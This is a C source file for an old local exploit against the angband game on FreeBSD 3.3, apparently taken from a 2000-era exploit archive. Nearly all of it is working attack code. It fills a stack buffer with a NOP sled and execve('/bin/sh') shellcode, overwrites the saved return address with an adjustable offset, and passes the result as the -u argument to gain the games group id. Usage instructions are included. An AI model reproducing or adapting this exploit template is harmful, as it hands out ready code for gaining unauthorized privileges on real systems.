/* FreeBSD 3.3 angband exploit yields egid of group games
 * usage: gcc -o angames angames.c /path/to/angband `./angames <offset>`
 * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
 * Brock Tellier <btellier@usa.net>
 */


#include <stdio.h>

char shell[]= /* mudge@lopht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] )
{
  int x = 0;
  int y = 0;
  int offset = 0;
  int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
  char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
  char arg[bsize + 2];
  int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */

  if (argv[1])
    {
      offset = atoi(argv[1]);
      eip = eip + offset;
    }
  fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

  for ( x = 0; x < 1021; x++) buf[x] = 0x90;
  fprintf(stderr, "NOPs to %d\n", x);

  for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
  fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] = eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
  fprintf(stderr, "eip to %d\n",x);
  buf[x++] = 'X';
  buf[x++] = 'X';
  fprintf(stderr, "garbage to %d\n", x);

  buf[bsize - 1] = '\0';

  sprintf(arg, "-u%s", buf);
  arg[bsize + 1] = '\0';

  printf("%s", arg);

}
/*                    www.hack.co.za              [2000]*/